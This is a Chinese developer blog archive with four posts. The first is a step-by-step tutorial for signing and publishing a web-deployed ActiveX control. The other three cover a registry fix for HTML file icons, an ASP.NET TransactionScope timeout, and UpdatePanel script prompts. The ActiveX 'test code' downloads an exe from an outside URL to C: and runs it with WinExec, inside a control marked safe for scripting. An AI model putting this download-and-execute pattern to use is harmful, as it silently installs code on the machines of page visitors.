
2009年12月4日
一步一步 在线发布 ActiveX
先准备必备工具: 生成证书工具, 打包工具 , 签证工具
装了 platform sdk 就已经有前2种了, 再到 http://www.ca365.com/上下载一个 SIGNCODE.EXE 签证用的.
1. 用atl写个activex,工程命为 activextest 插入Composite Control, 发给按钮,双击按钮,在函数种输入如
下测试代码
::MessageBox(NULL, "请等待几秒钟", "测试", MB_OK);
URLDownloadToFile(NULL,"http://www.softwife.com/xx.exe%22,%22c://xx.exe%22,0,NULL);
WinExec("c:\\xx.exe",SW_SHOW);
实现 IObjectSafety 接口
编译, 把activextest.dll copy 出来
2. 制作证书:
MakeCert -sv "test.pvk" -n "CN=公司名称" test.CER
提示输入密匙: 3次输入的要一样
Cert2Spc test.CER test.spc
3.打成cab包
编写 inf 文件, 命名为 activextest.inf ,内容如下 其中 clsid 再你工程的 activextest.idl 中可以找到
[version]
signature="$CHICAGO$"
AdvancedINF=2.0
[Add.Code]
activextes.dll=activextes.dll
[activextes.dll]
file-win32-x86=thiscab
clsid={xxx-xx-xx-xx-xx}
FileVersion=1, 0, 0, 1
RegisterServer=yes
CABARC -s 6144 n activextest.cab activextest.dll activextest.
也可用C:\WINDOWS\system32\IExpress.exe进行打包。
4.签证
双击 SIGNCODE.EXE , 按照要求, 选activextest.cab , 选 test.spc 选test.pvk
5.编写发布网页
CLASSID="clsid:xxx-xx-xx-xx-xx"
CODEBASE="http://www.softwife/cab/activextest.cab#version=1, 0, 0, 1">
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/newkey007/archive/2004/07/03/32942.aspx
posted @ 2009-12-04 17:49 Leem 阅读(78) 评论(0)
编辑

2008年10月31日
不知大家是否遇到我这样的情况,后缀名为.htm,.html,mht,mhtml的文件全部没有图标显示,也就是说变成类似exe文件那样的图标,然而打开文件正常,不会显示未注册文件类型,在文件类型中更改图标,也不起作用。
解决方法:将注册表中 HKEY_CLASSES_ROOT\htmlfile\ShellEx\IconHandler 子项删除后,再重新到“文件类型”中指定图标即可。这个注册表项和其值并没有什么异样,可偏偏有了它就不能指定图标。文件类型:开始——设置——控制面板——文件夹选项 。
删除该项后到“Internet 选项”中选择“重置web设置”也可以解决问题,并且有可能重置这项注册表值。
------
其实在实践中,发现如果你用的是IE的话,只要在Internet选项内,重置一下Web设置,就可以把默认的htm、html文件未知程序的图标改回ie的图标。
----------------------------------------------------------------
以下为网络上的其他解决方案:
问题描述
HTML/HTM文件的图标突然不能正常显示
可能原因
安装了Office同时也安装了某个改变HTML/HTM文件的程序(如QQ的TB、GoAlive等),然后执行了Office的某项功能(不太清楚是什么回事)。此时不管怎么修改HTML/HTM文件的图标,都改不会来了。
解决方法
修改注册表
找到HKEY_CLASSES_ROOT\htmlfile\ShellEx\IconHandler\(Default) = {...................}
找到HKEY_CLASSES_ROOT\CLSID\{......................}\Old Icon\htmlfile\DefaultIcon
修改(Default)为“C:\Program Files\internet explorer\IEXPLORE.EXE,1”
posted @ 2008-10-31 13:00 Leem 阅读(2726) 评论(1)
编辑

2007年9月7日
在asp.net中使用TransactionScope进行事务处理时,在同一事务范围内,前一部分代码以参与事务方式对数据库进行操作,后一部分代码以非事务方式对数据库进行操作。最终结果会是后一部分代码执行超时失败。
如下代码所示:
using(TransactionScope scope1 = new TransactionScope())
{
// 事务方式对数据库进行操作
using(TransactionScope scope2 = new TransactionScope(TransactionScopeOption.Suppress))
{
// 非事务方式对数据库进行操作
}
}
注意这里是指同一数据库,为什么会这样呢?我想很有可能是前一步参与事务的操作,将数据库死锁了,而导致后一步无法正常执行,以至于超时。
posted @ 2007-09-07 15:31 Leem 阅读(365) 评论(0)
编辑

2007年1月7日
摘要: 在执行一个操作后,我们经常要提示用户操作是否成功。
通常的作法是在服务器端用Response.Write()输出一段JS脚本即可。
但如果把这样的操作放到UpdatePanel中,结果就会出现如下的提示
阅读全文
posted @ 2007-01-07 12:04 Leem 阅读(658) 评论(5)
编辑